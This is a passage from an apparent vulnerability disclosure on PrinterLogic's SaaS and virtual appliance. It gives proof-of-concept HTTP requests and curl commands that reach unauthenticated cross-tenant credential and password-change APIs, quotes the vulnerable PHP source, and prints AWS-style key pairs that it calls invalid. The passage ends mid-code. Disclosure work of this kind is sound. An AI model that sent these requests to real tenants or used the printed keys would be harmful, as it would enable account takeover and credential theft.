managing the update processus). Futhermore, this Docker instance is exposed 
(non-assigned CVE vulnerability - Insecure access to Docker instances from the 
WAN).

If any attacker compromises any Docker instance, then he can upload malicious 
firmware updates and install them without authentication.

The compromise of any Docker instance means the solution is completely 
compromised.

There is no accountability regarding the firmware update process - it is not 
possible to associate the update process with a specific administrator.

The firmware upgrade mechanism is insecure (and was successfully compromised in 
the 2024 security assessment: Remote take over of PrinterLogic instances 
(Remote Code Execution)).




## Security assessment done in 2024

## Identification of the solution

The audited PrinterLogic version is 22.0.893 (December 2023).

The audited host version is 1.0.730.

This PrinterLogic version has been retrieved from 
https://help.printerlogic.com/va/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm
 (OpenBuild 22.0.893: December 1st, 2023).

The host version has been retrieved from 
https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm
 (Build 1.0.730: December 30th, 2021).

Checksums of the audited versions:

    b06c9938b8ec5fd47a41fb7188d8e50fd9bac727a2ac0e84e4719524a124f744  
printerinstaller-22.0.893.ova

The VA version was updated to the latest version (20.0.2140 from 04/01/2024).

The solutions use several Docker instances - all the instances have been made 
up to date, as shown below:

PrinterLogic VA version

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

PrinterLogic VA version

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

PrinterLogic SaaS version on [redacted].printerlogic10.com

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

## Previous vulnerabilities found in the SaaS/VA versions

## List of unpatched vulnerabilities - analysis of vulnerabilities found in 2022

These vulnerabilities have not been patched:

- - Hardcoded password for the ubuntu user;
- - - incomplete patch: /etc/shadow OK but /etc/sudoers still contains an entry 
for ubuntu;
- - Insecure communications to printers and insecure communications to 
micro-services by disabling all SSL verifications;
- - Password for 'network' stored in clear-text inside /etc/issue, 
world-readable;
- - Hardcoded SSH keys + private SSH keys for [redacted]@printerlogic.com;
- - Lack of firewall between Docker instances;
- - Insecure access to Docker instances from the WAN;
- - Incorrect security architecture and wrong permissions in 
/var/www/efs_storage allowing allowing to compromise the solution;
- - Outdated, End-Of-Life, unsupported and vulnerable components (Nginx, 
libraries, Laravel, operating systems);
- - Processes running as root in Docker instances;
- - Creation of administrator cookies using the credentials of regular users;
- - Incorrect Access Control to PHP webpages allowing to reach printers;
- - SSRF everywhere in /var/www/app/;
- - XSS everywhere in /www/app/admin/*;
- - Remote Code Executions using eval() - requires administrator privileges;
- - - Incorrectly patched;
- - Insecure SSH configuration;
- - Incorrect encryption algorithms used to store passwords;
- - GPG Private key stored in the solution;
- - Passwords readable and stored in clear-text;
- - Hardcoded SSL certificate / Private keys;
- - Insecure firmware image update using the MS_AUTH_KEY variable.

## List of patched vulnerabilities - analysis of vulnerabilities found in 2022

These vulnerabilities have been patched:

- - Hardcoded SSH server keys;
- - Hardcoded AWS secret key and Presence of CI/CD scripts;
- - - found invalid creds: 
AKIAQZ3LX27RE4BOH66J/ixKgihrTK5vmPrcPJhAO0TOtcOUaVJEQmeuBUQDS, 
AKIAIWHNML7OFS67RVKQ/gkZYcXhsFCxw9SAoqXCR06WgxBa3T02UiD31NcBV, 
AKIAJ5I5ZX5VQ43PMYIQ/TZy2BVyDJB73J2fuLi7rbqIW2nXnVvvsUQ5PjBF0), reference to a 
specific s3 bucket: appliance-storage-01-us-west-2-dbbackups does not seem 
exploitable;
- - Hardcoded Mailgun credentials;
- - Hardcoded OKTA Private key;
- - XSS in the license generator and weak encryption algorithm;
- - Pre-authentication Elatec password disclosure, Change to a malicious Elatec 
server and Blind-SSRF;
- - Pre-authentication SSRF and Change of RFIDeas;
- - Pre-authentication Stored XSS in 
/var/www/app/console_release/fast_release/register_badge.php;
- - XSS in /var/www/app/console_release/fast_release/ register_badge_new.php;
- - XSS in /www/app/admin/design/reports/overview_popup.php and Incorrect 
Access Control;
- - Dangerous PHP dead code;
- - Samba password available in the process list;
- - Supply Chain attack against the PrinterLogic build system;
- - Vulnerable OpenID implementation.


## Previous vulnerabilities found in the macOS/Linux clients

### Identification of the solution

The version of the audited macOS/Linux client is 21.1.0.658.

### List of unpatched vulnerabilities

These vulnerabilities have not been patched:

- - Incorrect permissions in /opt/PrinterInstallerClient/log;
- - - No modified, risk accepted by the vendor;
- - Lack of authentication of the communication between services;
- - - Not patched - design is insecure;
- - Potential upload of new drivers;
- - - when using /admin with a normal user -> upload works;
- - Outdated OpenSSL version.

### List of patched vulnerabilities

These vulnerabilities have been patched:

- - Hardcoded Private key for the PrinterLogic CA and Hardcoded password;
- - Leak of secrets inside the logs;
- - Bypass of admin commands using IPC;  
- - Insecure generation of debug archive;  
- - Arbitrary File Read as root;
- - Arbitrary File Write as root. 

## Previous vulnerabilities found in the Windows client

### Identification of the solution

The version of the audited Windows client version is 25.0.0.983.


### List of unpatched vulnerabilities

These vulnerabilities have not been patched:

- - PrinterInstallerClientInterface.exec, PrinterInstallerClient.exe and 
PrinterInstallClientLauncher.exe have No data execution prevention, no ASLR, no 
CFG and no stack protection;
- - Local Privilege Escalation via C:\Windows\Temp\PPP\Log (a process running 
as NT AUTHORITY\SYSTEM is used to read/write files inside a full-R/W directory).


### List of patched vulnerabilities

These vulnerabilities have been patched:

- - Hardcoded Private key for the PrinterLogic CA and Hardcoded password;
- - Local Privilege Escalation - C:\Users\pfq\AppData\Local\Temp\ not used 
anymore. Instead C:\Windows\PPP_TEMP is securely used;
- - Remote Code Execution using PrinterLogic (Execution of C:\Program.exe 
during the installation of a driver).



## Vulnerabilities affecting the SaaS version


## Identification of the solution

PrinterLogic SaaS version on [redacted].printerlogic10.com

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]



## Details - Cross-tenant vulnerability - disclosure of passwords of other 
customers and change of settings of any tenant

It was observed that the `/api-gateway/br/devices` API is insecure - this API 
will display the passwords of other tenants using the SaaS version. It appears 
that it is also possible to change the settings of other tenants (not tested 
but the source code does not implement authentication so it is vulnerable).

In cloud computing, tenancy refers to the sharing of computing resources in a 
private or public environment that is isolated from other users and kept 
secret. Cross-tenant vulnerabilities allow a customer to interact with 
data/infrastructure used by another customer, breaking a critical security 
boundary.

We can confirm that the displayed passwords correspond to other tenants since 
the `siteID` variables are specified in the HTTP answer. For the security 
assessment, the siteID variables is `[redacted1]` (prod instance) and 
`[redacted2]` (test instance). An attacker can find information corresponding 
to other tenants (with siteID variables `[redacted]`, `[redacted]`, 
`[redacted]`, ...):

Disclosure of credentials using the `/api-gateway/br/devices` API:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

PoC - HTTP request to 
https://[redacted].printercloud10.com/api-gateway/br/devices

    GET /api-gateway/br/devices HTTP/2
    Host: [redacted].printercloud10.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 
Firefox/115.0
    Accept: application/xml, text/xml, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    X-Csrf-Token: mG855uOhde1KjgHFrfdLdHHNejyllHHF07DL93Lj
    X-Requested-With: XMLHttpRequest
    Content-Length: 0
    Origin: https://[redacted].printercloud10.com
    Referer: https://[redacted].printercloud10.com/admin/
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Te: trailers

And the reply provides clear-text credentials corresponding to other tenants 
while the request is sent to the `[redacted]` tenant.

HTTP answer prodiving credentials of other tenants while interacting with the 
`[redacted]` tenant:

    HTTP/2 200 OK
    Date: Mon, 18 Dec 2023 14:26:40 GMT 
    Content-Type: application/json
    Cache-Control: no-store, no-cache, must-revalidate
    Cache-Control: no-cache, private
    Content-Security-Policy: frame-ancestors 'self'
    Expires: Thu, 19 Nov 1981 08:52:00 GMT 
    Pragma: no-cache
    Server: nginx
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    X-Xss-Protection: 1; mode=block
    {
      "data": [
        {   
          "type": "devices",
          "id": "[redacted]",
          "attributes": {
            "siteId": "[redacted]",
            "type": "[redacted]",
            "ipAddress": "[redacted]",
            "username": "[redacted]",
            "password": "[redacted]",
            "printerId": "[redacted]" 
          },  
          "relationships": {
            "deviceType": {
              "slug": "[redacted]",
              "name": "[redacted]",
              "credentials": true
            }   
          }   
        },  
        [...]
        {   
          "type": "devices",
          "id": "[redacted]",
          "attributes": {
            "siteId": "[redacted]",
            "type": "[redacted]",
            "ipAddress": "[redacted]",
            "username": "[redacted]",
            "password": "[redacted]",
            "printerId": "[redacted]" 
          },  
          "relationships": {
            "deviceType": {
              "slug": "[redacted]",
              "name": "[redacted]",
              "credentials": true
            }   
          }   
        },  
        {   
          "type": "devices",
          "id": "[redacted]",
          "attributes": {
            "siteId": "[redacted]",
            "type": "[redacted]",
            "ipAddress": "[redacted]",
            "username": "[redacted-DC-domain]\\Administrator",
            "password": "[redacted]",
            "printerId": "[redacted]" 
          },  
          "relationships": {
            "deviceType": {
              "slug": "[redacted]",
        [...]

The APIs are defined in the `printerlogic/br` Docker instance and do not 
implement authentication: an attacker can view/edit settings corresponding to 
other tenants:

Content of `/var/www/app/routes/api.php`:

[code:php]
<?php
[...]
use Illuminate\Http\Request;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where API routes are registered for the application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group.
|
*/

Route::get('meta', 'MetaController@index');

Route::middleware(['auth.key'])->group(function () {
    /**
     * Device routes
     */
    Route::get('devices', 'DeviceController@index');
    Route::get('devices/{id}', 'DeviceController@show');
    Route::post('devices', 'DeviceController@store');
    Route::put('devices/{id}', 'DeviceController@update');
    Route::delete('devices/{id}', 'DeviceController@destroy');

    /**
     * Device type routes
     */
    Route::get('device-types', 'DeviceTypeController@index');
    Route::get('device-types/{slug}', 'DeviceTypeController@show');
});
[/code]

Since authentication is not implemented, any user in any tenant can edit badge 
devices of any tenant:

Content of `/var/www/app/app/Http/Controllers/DeviceController.php` 
implementing the previous methods:

[code:php]
<?php

namespace App\Http\Controllers;

use App\Http\Controllers\Traits\ApiResponse;
use App\Http\Requests\DeviceRequest;
use App\Models\Device;
use App\Models\DeviceAttribute;
use App\Services\DeviceService;
use App\Transformers\DeviceTransformer;
use Illuminate\Database\QueryException;
use Illuminate\Http\JsonResponse;
use Symfony\Component\HttpFoundation\Response as HttpResponse;

/**
 * Class DeviceController
 */
class DeviceController
{
    use ApiResponse;

    const INVALID_DEVICE_ERROR = 'INVALID-DEVICE';

    private $service;

    /**
     * DeviceController constructor
     *
     * @param DeviceService $deviceService DeviceService object
     *
     * @return void
     */
    public function __construct(DeviceService $deviceService)
    {
        $this->service = $deviceService;
    }

    /**
     * Return all devices
     *
     * @return array
     */
    public function index(): array
    {
        $devices = Device::all();

        return fractal()->create()
                ->collection($devices)
                ->transformWith(new DeviceTransformer())
                ->withResourceName('data')
                ->toArray();
    }

    /**
     * Display the specified resource.
     *
     * @param string $id Uuid of device
     *
     * @return array|JsonResponse
     */
    public function show($id)
    {
        $device = Device::find($id);

        if (!empty($device->id)) {
            return fractal()->create()
                ->item($device)
                ->transformWith(new DeviceTransformer())
                ->withResourceName('data')
                ->toArray();
        }

        $message = 'Unable find record [' . $id . ']';
        return $this->errorResponse($message, self::INVALID_DEVICE_ERROR, 
HttpResponse::HTTP_NOT_FOUND);
    }

    /**
     * Store device data
     *
     * @param App\Http\Requests\DeviceRequest $request Incoming HTTP request
     *
     * @return array|JsonResponse
     */
    public function store(DeviceRequest $request)
    {
        $siteId = $request->header('X-Site-ID');
        $data = $request->get('data');

        $device = $this->service->create($siteId, $data);

        $response = fractal()->create()
            ->item($device)
            ->transformWith(new DeviceTransformer())
            ->withResourceName('data')
            ->toArray();

        return response()->json($response, HttpResponse::HTTP_CREATED);
    }

    /**
     * Update device data
     *
     * @param string $id The id of the device to udpate
     * @param App\Http\Requests\DeviceRequest $request Incoming HTTP request
     *
     * @return array|JsonResponse
     */
    public function update(string $id, DeviceRequest $request)
    {
        $siteId = $request->header('X-Site-ID');
        $data = $request->get('data');

        $updatedDevice = $this->service->update($id, $siteId, $data);

        if ($updatedDevice !== null) {
            return fractal()->create()
                ->item($updatedDevice)
                ->transformWith(new DeviceTransformer())
                ->withResourceName('data')
                ->toArray();
        }
        $message = "Unable find existing record [$id] to update";
        return $this->errorResponse($message, self::INVALID_DEVICE_ERROR, 
HttpResponse::HTTP_NOT_FOUND);
    }

    /**
     * Delete device data and its associated attributes
     *
     * @param string $id Uuid of device to be deleted
     *
     * @return JsonResponse
     */
    public function destroy(string $id)
    {
        try {
            $device = Device::find($id);

            if ($device === null) {
                $message = "Device [$id] was not found";
                return $this->errorResponse($message, 
self::INVALID_DEVICE_ERROR, HttpResponse::HTTP_NOT_FOUND);
            }
            $device->delete();
            DeviceAttribute::where('device_id', $id)->delete();

            return response()->json('', HttpResponse::HTTP_NO_CONTENT);
        } catch (QueryException $qe) {
            return $this->errorResponse($qe->getMessage());
        }
    }
}
[/code]


A tenant can retrieve passwords for other tenants and compromise their 
infrastructure.

A tenant can edit the settings of other tenants.



## Details - Take over of tenants without authentication

It was observed that the `authn` Docker instance is exposed over the Internet 
in the SaaS version and over the local network area in the VA version. This 
instance manages the authentication mechanisms (OIDC, SAML) but also provides 
several APIs to change users' passwords without authentication.

The `authn` Docker instance implements APIs for IdP authentication and is not 
supposed to be directly reachable over the network:

`Authn` instance:

    root@printerlogic:/home/debug# docker ps|grep authn
    f13ed71bef89   printerlogic/authn:1.16.0                 
"/var/www/app/.docke"   3 minutes ago   Up 2 minutes (healthy)   80/tcp, 
443/tcp, 9000-9001/tcp                                                    
printercloud_authn.1.v4pisby2qagav2tl1uswkdyuu

Exposing this docker instance without authentication is a security risk as an 
attacker can edit users for any tenant.

Several routes are exposed to manage the authentication over SAML and OIDC - 
this seems to be a normal behavior:

Content of `/var/www/app/routes/idp.php`:

[code:php]
  1 <?php
[...]
 17 Route::get('idp/{idp}/saml2/login', 'Idp\Saml2\LoginController')
 18     ->name('idp.saml2.login');
 19     
 20 Route::get('idp/multiple/login', 'Idp\LoginController')
 21     ->name('idp.multiple.login');
 22 
 23 Route::post('idp/{idp}/saml2/acs', 'Idp\Saml2\AssertionConsumerController')
 24     ->name('idp.saml2.acs');
 25 
 26 Route::get('idp/{idp}/saml2/metadata', 'Idp\Saml2\MetadataController')
 27     ->name('idp.saml2.metadata');
 28 
 29 Route::get('idp/{idp}/desktop/assertion', 'Idp\Desktop\AssertionController')
 30     ->name('idp.desktop.assertion');
 31 
 32 Route::get('idp/{idp}/desktop/validation/{username}', 
'Idp\Desktop\ValidationController')
 33     ->name('idp.desktop.validation');
 34 
 35 Route::post('idp/{idp}/desktop/validate-token', 
'Idp\Desktop\Token\ValidateTokenController')
 36     ->name('idp.desktop.token.validate');
 37 
 38 Route::post('idp/{idp}/desktop/renew-token', 
'Idp\Desktop\Token\RenewTokenController')
 39     ->name('idp.desktop.token.renew');
 40 
 41 Route::get(
 42     'idp/{idp}/oidc/login',
 43     [
 44         'uses' => 'Idp\Oidc\LoginController',
 45         'middleware' => StartSession::class,
 46         'as' => 'idp.oidc.login'
 47     ]
 48 );
[/code]

For example, getting information about SAML2 authentication for the 
`[redacted]` instance (the UID corresponding to the instance has been redacted):

    kali% curl 
https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/metadata
    <?xml version="1.0"?>
    <md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata"
                         validUntil="2024-01-05T12:44:21Z"
                         cacheDuration="PT604800S"
                         
entityID="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/metadata";>
        <md:SPSSODescriptor AuthnRequestsSigned="false" 
WantAssertionsSigned="false" 
protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
            <md:SingleLogoutService 
Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect"
                                    
Location="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2sls";
 />
            
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
            <md:AssertionConsumerService 
Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
                                         
Location="https://gw.app.printercloud10.com/[instance-name-redacted]/authn/idp/aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa/saml2/acs";
                                         index="1" />
            
        </md:SPSSODescriptor>
        <md:Organization>
           <md:OrganizationName xml:lang="en-US">Name</md:OrganizationName>
           <md:OrganizationDisplayName xml:lang="en-US">Display 
Name</md:OrganizationDisplayName>
           <md:OrganizationURL xml:lang="en-US">http://url</md:OrganizationURL>
        </md:Organization>
        <md:ContactPerson contactType="technical">
            <md:GivenName>name</md:GivenName>
            <md:EmailAddress>no@xxxxxxxxx</md:EmailAddress>
        </md:ContactPerson>
        <md:ContactPerson contactType="support">
            <md:GivenName>Support</md:GivenName>
            <md:EmailAddress>no@xxxxxxxxx</md:EmailAddress>
        </md:ContactPerson>
    </md:EntityDescriptor>

But other non-public APIs allow an attacker to redefine passwords of users by 
specifying the target tenant:

Content of `/var/www/app/routes/api.php` with insecure routes in lines 42 to 47:

[code:php]
  1 <?php
[...]
 40 
 41 Route::middleware(['auth.key'])->group(function () {
 42     Route::get('/password/{userId}/tenant/{tenantId}', 
[PasswordController::class, 'exists']);
 43     Route::get('/password/{userId}/tenant/{tenantId}/updated', 
[PasswordController::class, 'lastUpdated']);
 44     Route::post('/password/{userId}/tenant/{tenantId}', 
[PasswordController::class, 'verify']);
 45     Route::post('/password', [PasswordController::class, 'store']);
 46     Route::patch('/password/{user_id}/tenant/{tenant_id}', 
[PasswordController::class, 'update']);
 47     Route::delete('/password/{user_id}/tenant/{tenant_id}', 
[PasswordController::class, 'destroy']);
 48 
[...]
[/code]

These APIs are reachable over the LAN for Printer VA:

- - http://gw.10.105.0.60/app_pi/authn/idp/multiple/login
- - 
http://gw.10.105.0.60/app_pi/authn/api/password/[userId]/tenant/[tenantId]/updated
- - e.g.: 
http://gw.10.105.0.60/app_pi/authn/api/password/aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa/tenant/9999/updated

And from the Internet for the SaaS version:

- - 
https://gw.app.printercloud10.com/[redacted-instance-name]/authn/idp/multiple/login
- - 
https://gw.app.printercloud10.com/[redacted-instance-name]/authn/api/password/[userId]/tenant/[tenantId]/updated
- - e.g.: 
https://gw.app.printercloud10.com/[redacted-instance-name]/authn/api/password/aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa/tenant/9999/updated
- - [...]

As we can see, any valid tenant name can be used in the URL and the `userID` 
and `tenantID` are extracted from the URLs (from the 
`/var/www/app/routes/api.php` file).

These requests do not require authentication.

HTTP requests to the authn instance through https://gw.app.printercloud10.com/:

    kali% curl 
https://gw.app.printercloud10.com/[instance1]/authn/api/password/aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa/tenant/9999/updated
    {"success":false,"message":"No password for userId"}
    kali% curl 
https://gw.app.printercloud10.com/[instance2]/authn/api/password/aaaaaaaa-aaaa-aaaaaaaaa-aaaaaaaaaaaa/tenant/9999/updated
    {"success":false,"message":"No password for userId"}

The `user_id` and `tenantId` variables are not a secret and can be extracted 
from APIs without authentication.

It appears that an attacker can change the password for any user in any tenant.

For this this test, the `tenantId` and `user_id` variables were extracted from 
the unit test file 
`/var/www/app/tests/Integration/App/Http/Controllers/PasswordControllerTest.php`
 to avoid any impact in the SaaS environment:

Change of password for a specific `user_id` and `tenantId` (without 
authentication). This user corresponds to a test account:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

The `TenantID` variable is located everywhere in the source code of the 
`https://[redacted].printercloud10.com/` webpages and in the API answers 
(without authentication).

For example, without authentication we can retrieve the tenantId value by 
interrogating the API `/api-gateway/identify/search-groups`:

Access to `/api-gateway/identify/search-groups` without authentication:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Or the `/api-gateway/identities/jobs/1` API without authentication.

HTTP request to 
https://[instance].printercloud10.com/api-gateway/identities/jobs/1:

    kali% curl 
https://[instance].printercloud10.com/api-gateway/identities/jobs/1    
    {"identifier":"1","tenantId":"9999","status":"Completed"}

Or the `/api-gateway/identify/search-users` - this API can list all the users 
(id, firstname, lastname, displayname, username, email, domain, siteId, 
sourceId, sourceService, userAttributes [groups], ...)

Access to `/api-gateway/identify/search-users` without authentication:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

The implementation of these APIs is done in the 
`/var/www/app/app/Http/Controllers/PasswordController.php` file, there is no 
authentication:

Content of `/var/www/app/app/Http/Controllers/PasswordController.php` with:

- - line 70: information about the password of any user for any tenant without 
authentication;
- - line 103: verification of a password of any user for any tenant without 
authentication;
- - lines 129 to 142: definition of a new password of any user for any tenant 
without authentication;
- - lines 159 to 173: update of a new password of any user for any tenant 
without authentication;
- - lines 188 and 189: deletion of the password any user for any tenant without 
authentication.

[code:php]
  1 <?php
  2 
  3 namespace App\Http\Controllers;
  4 
  5 use App\Models\Password;
  6 use App\Services\PasswordService;
  7 use Symfony\Component\HttpFoundation\Response;
  8 use Illuminate\Http\Request;
  9 
 10 /**
 11  * Class PasswordController
 12  *
 13  * @package App\Http\Controllers
 14  */
 15 class PasswordController extends Controller
 16 {
 17     /**
 18      * An instance of Password Service
 19      *
 20      * @var PasswordService
 21      */
 22     private $passwordService;
 23 
 24     /**
 25      * Constructor for the PasswordController
 26      *
 27      * @param passwordService $passwordService service instance
 28      */
 29     public function __construct(PasswordService $passwordService)
 30     {
 31         $this->passwordService = $passwordService;
 32     }
 33 
 34     /**
 35      * Endpoint to verify userid exists in passwords table.
 36      *
 37      * @param String $userId ID of the user passed from the user service
 38      * @param Int $tenantId ID of the tenant
 39      *
 40      * @return \Illuminate\Http\JsonResponse
 41      */
 42     public function exists(string $userId, int $tenantId)
 43     {
 44         $passwordExist = $this->passwordService->exists($userId, $tenantId);
 45 
 46         if ($passwordExist) {
 47             return response()->json(['success' => true], Response::HTTP_OK);
 48         }
 49 
 50         return response()
 51             ->json(
 52                 [
 53                     'success' => false,
 54                     "message" => 'No password for userId'
 55                 ],
 56                 Response::HTTP_NOT_FOUND
 57             );
 58     }
 59 
 60     /**
 61      * Endpoint to get the last updated date of the password for the given 
userId.
 62      *
 63      * @param String $userId ID of the user
 64      * @param Int $tenantId ID of the tenant
 65      *
 66      * @return \Illuminate\Http\JsonResponse
 67      */
 68     public function lastUpdated(string $userId, int $tenantId)
 69     {
 70         $passwordUpdatedAt = $this->passwordService->lastUpdated($userId, 
$tenantId);                // [1] information about the userId
 71 
 72         if ($passwordUpdatedAt !== null) {
 73             return response()->json(['success' => true, 'updated_at' => 
$passwordUpdatedAt], Response::HTTP_OK);
 74         }
 75 
 76         return response()
 77             ->json(
 78                 [
 79                     'success' => false,
 80                     'message' => 'No password for userId'
 81                 ],
 82                 Response::HTTP_NOT_FOUND
 83             );
 84     }
 85 
 86 
 87     /**
 88      * Endpoint to verify password hashes.
 89      *
 90      * @param Request $request Request Object
 91      * @param String $userId ID of the user passed from the user service
 92      * @param Int $tenantId ID of the tenant
 93      *
 94      * @return \Illuminate\Http\JsonResponse
 95      */
 96     public function verify(Request $request, string $userId, int $tenantId)
 97     {
 98         //Validate required fields
 99         $request->validate([
100             'password' => 'required|string|max:255',
101         ]);
102 
103         $passwordVerified = $this->passwordService->verify($userId, 
$request->input('password'), $tenantId); // [2] verification of the password
104 
105         if ($passwordVerified) {
106             return response()->json(['success' => true], Response::HTTP_OK);
107         }
108         return response()
109             ->json(
110                 [
111                     'success' => false,
112                     "message" => 'Password does not match.'
113                 ],
114                 Response::HTTP_FORBIDDEN
115             );
116     }
117 
118     /**
119      * Endpoint to create new password records.
120      *
121      * @param Request $request Request object
122      *
123      * @return \Illuminate\Http\JsonResponse
124      */
125     public function store(Request $request)
126     {
127         //Validate required fields
128         $validated = $request->validate([
129             'user_id' => 
'required|max:255|unique:passwords,user_id,NULL,id,tenant_id,' . 
$request->input('tenant_id'),
130             'tenant_id' => 
'required|unique:passwords,tenant_id,NULL,id,user_id,' . 
$request->input('user_id'),
131             'password' => 'required_without:hashed_password|string|max:255',
132             'hashed_password' => 'required_without:password|string|max:255',
133         ]);
134 
135         //Create new model and save
136         $password = new Password;
137 
138         //Fill Model;
139         $password->fill($validated);
140 
141         //Save
142         $password->save();
143 
144         return response()->json(['success' => true], 
Response::HTTP_CREATED);
145     }
146 
147     /**
148      * Endpoint to update existing password records.
149      *
150      * @param Request $request Request Object
151      * @param String $user_id ID of the user passed from the user service
152      * @param Int $tenant_id ID of the tenant
153      *
154      * @return \Illuminate\Http\JsonResponse
155      */
156     public function update(Request $request, string $user_id, int 
$tenant_id)
157     {
158         //Validate required fields
159         $validated = $request->validate([
160             'password' => 'required||max:255',
161         ]);
162 
163         // Get the record to be updated
164         $password = Password::firstOrNew([
165             'user_id' => $user_id,
166             'tenant_id' => $tenant_id,
167             ]);
168 
169         //Fill Model;
170         $password->fill($validated);
171 
172         //Save
173         $password->save();
174 
175         return response()->json(['success' => true], Response::HTTP_OK);
176     }
177 
178     /**
179      * Endpoint to delete password records
180      *
181      * @param String $user_id ID of the user passed from the user service
182      * @param Int $tenant_id ID of the tenant
183      *
184      * @return 
\Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\Routing\ResponseFactory|\Illuminate\Http\Response
185      */
186     public function destroy(string $user_id, int $tenant_id)
187     {
188         $password = Password::where('user_id', 
$user_id)->where('tenant_id', $tenant_id)->firstOrFail();
189         $password->delete();
190         return response()->noContent();
191     }
192 }
[/code]

An attacker can interact with the passwords of any user for any tenant without 
authentication, using the `user_id` and `tenant_id` variables which are public.



## Details - Insecure design of the SaaS version

It was observed that the SaaS version of PrinterLogic has a critical design 
flaw in the authentication mechanism between the HTTP microservices. It appears 
that the same infrastructure is running for all the customer instances and a 
specific tenant ID (extracted from the subdomain or from a specific HTTP header 
`X-Site-ID`) is used to differentiate the instances: the microservices 
communicate over HTTP and mainly use the `X-Site-ID` HTTP header to 
authenticate in which instance the actions will take place.

For example, the microservices will use `X-Site-ID: client` in the internal 
HTTP requests to change the configuration of the `client` instance. If 
`X-Site-ID: client2` is specified, the actions will take place in the `client2` 
instance. 

This is a not an authentication mechanism. An attacker finding a SSRF 
vulnerability or able to add custom HTTP headers in the existing HTTP requests 
can take control of any instance running in the SaaS version by using the 
additional HTTP header `X-Site-ID: target-instance`. 

There is also another HTTP header `X-Printerlogic-MS-Auth-Key` containing a key 
but from the source code, this HTTP header is identical for all the instances 
(e.g. `client1`, `client2` and any other customer will use the same 
`X-Printerlogic-MS-Auth-Key` key).

For example, in the 
`var/www/app/app/Http/Controllers/UserAttributeController.php` file, only the 
`X-Site-ID` is used to store information regarding the user (coming from the 
HTTP request):

Content of `/var/www/app/app/Http/Controllers/UserAttributeController.php` with:

- - line 102: use of the HTTP header `X-Site-ID`;
- - lines 134 to 139: creation of a new username and a new badgeId for the the 
specific tenant defined by the `X-Site-ID` header.

[code:php]
  1 <?php
[...]
 84     public function store(UserAttributeRequest $request, $id)
 85     {
 86         try {
 87             // retrieve user
 88             $isIdp = $request->get('isIdp', false);
 89             $user = User::getUserByIdentifier($id, $isIdp);
 90 
 91             $isLdap = strtolower($user->source_service_type) === "ldap";
 92 
 93             $attributes = $request->get('userAttributes');
 94 
 95             foreach ($attributes as $data) {
 96                 // check to make sure attribute is valid
 97                 UserAttribute::validateAttribute($data['attribute'], 
$data['value']);
 98 
 99                 // If a badge id is one of the attributes, fire a add badge 
event to store badge in legacy pi table
100                 if ($data['attribute'] == 'badge-id') {
101                     $missingFields = '';
102                     $siteId = $request->header('X-Site-ID'); // [1] - use 
of the HTTP header X-Site-ID
103                     if (empty($siteId)) {
104                         $missingFields .= 'site id,';
105                     }
106                     if (empty($user->user_login_name)) {
107                         $missingFields .= 'user login name,';
108                     }
109                     // Currently only LDAP requires a domain.
110                     if (empty($user->domain) && $isLdap) {
111                         $missingFields .= 'domain,';
112                     }
113                     if (empty($data['value'])) {
114                         $missingFields .= 'badge id';
115                     }
116 
117                     if (!empty($missingFields)) {
118                         $missingFields = rtrim($missingFields, ',');
119                         $errorMessage = sprintf(
120                             'Unable to register badge with PI, following 
fields not set: %s',
121                             $missingFields
122                         );
123                         Log::error($errorMessage);
124                         return $this->errorResponse(
125                             $errorMessage,
